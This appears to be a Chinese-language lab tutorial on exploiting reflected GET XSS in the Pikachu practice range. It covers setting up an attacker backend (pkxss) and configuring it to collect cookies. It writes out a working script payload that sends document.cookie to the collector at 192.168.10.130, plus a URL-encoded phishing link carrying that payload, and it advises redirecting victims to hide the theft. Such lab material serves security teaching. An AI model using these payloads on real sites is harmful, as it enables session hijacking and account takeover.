GET型XSS利用:cookie获取
用户与站点
用户——>访问XSS页面,触发脚本——>存在XSS漏洞的站点(pikachu) http://127.0.0.1(在触发脚本的同时,脚本会将窃取的cookies数据发送到攻击者搭建接受cookie的后台网站:http://192.168.10.130/pikachu/pkxss)
用户<——返回“带恶意JS”的页面<——存在XSS漏洞的站点(pikachu) http://127.0.0.1(重定向到用户访问页面首页)
用于获取Cookie的后台网站
攻击者的后台(pkxss 后台)
http://192.168.10.130/pikachu/pkxss
伪造用户登陆,造成破坏。
搭建pkxss后台
这里我是使用另一台linux虚拟机搭建的,直接把pikachu拷贝到linux服务下的/var/www目录,前提需要你的linux服务器搭建好了apache和mysql。然后在物理机中,访问虚拟机中的pikachu:http://192.168.10.130/pikachu/
点击管理工具中的XSS后台
第一次打开会提示你安装数据库,需要进到linux服务器中刚刚复制的目录:/var/www/pikachu/pkxss/inc/
中的config.inc.php文件进行配置
配置完成后,返回到上级目录,进入到xcookie中,vi打开cookie.php文件
这个是用于接收cookie的页面,我们把下面的重定向的ip地址改为本地ip。(重定向的目的:在实际的应用场景下,别人点击我们发送过去的页面不会显示一个空白的页面,最终我们得把它重定向到一个可信的页面上去,那他点了之后就难以察觉)
然后我们回到刚刚访问的XSS后台的也买你,输入admin,123456登陆。
这个就是会显示我们接收到的cookie,里面默认为空的
cookie获取
在这里我们提前准备了一段js的代码,它会通过document里面的这个location这么一个实例,来做一个重定向,他会访问我们这个http://192.168.10.130/pikachu/pkxss/xcookie/cookie.php的后台页面,访问的时候通过document中的cookie把本地cookie的值带过去。
<script>document.location = 'http://192.168.10.130/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>
然后我们把这一段代码复制到具有XSS漏洞页面的输入点上
先修改下它最大输入长度,之前文章有说过~
然后我们点击提交,就跳转到了首页去了(符合我们的预期)。
这个时候我们返回刚刚的后台页面,并刷新页面,就获取到了刚刚触发脚本的用户的cookie。
我们还可以通过这个url钓鱼,一旦访问了这段url的主机的cookie都会被发送到后台页面。(当然,因为我们搭建的后台是在私网中搭建的,所以也是需要是同网段下的主机在含有XSS漏洞的网站pikachu下访问这个url才可以)
http://127.0.0.1/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F192.168.10.130%2Fpikachu%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27%2Bdocument.cookie%3B%3C%2Fscript%3E&submit=submit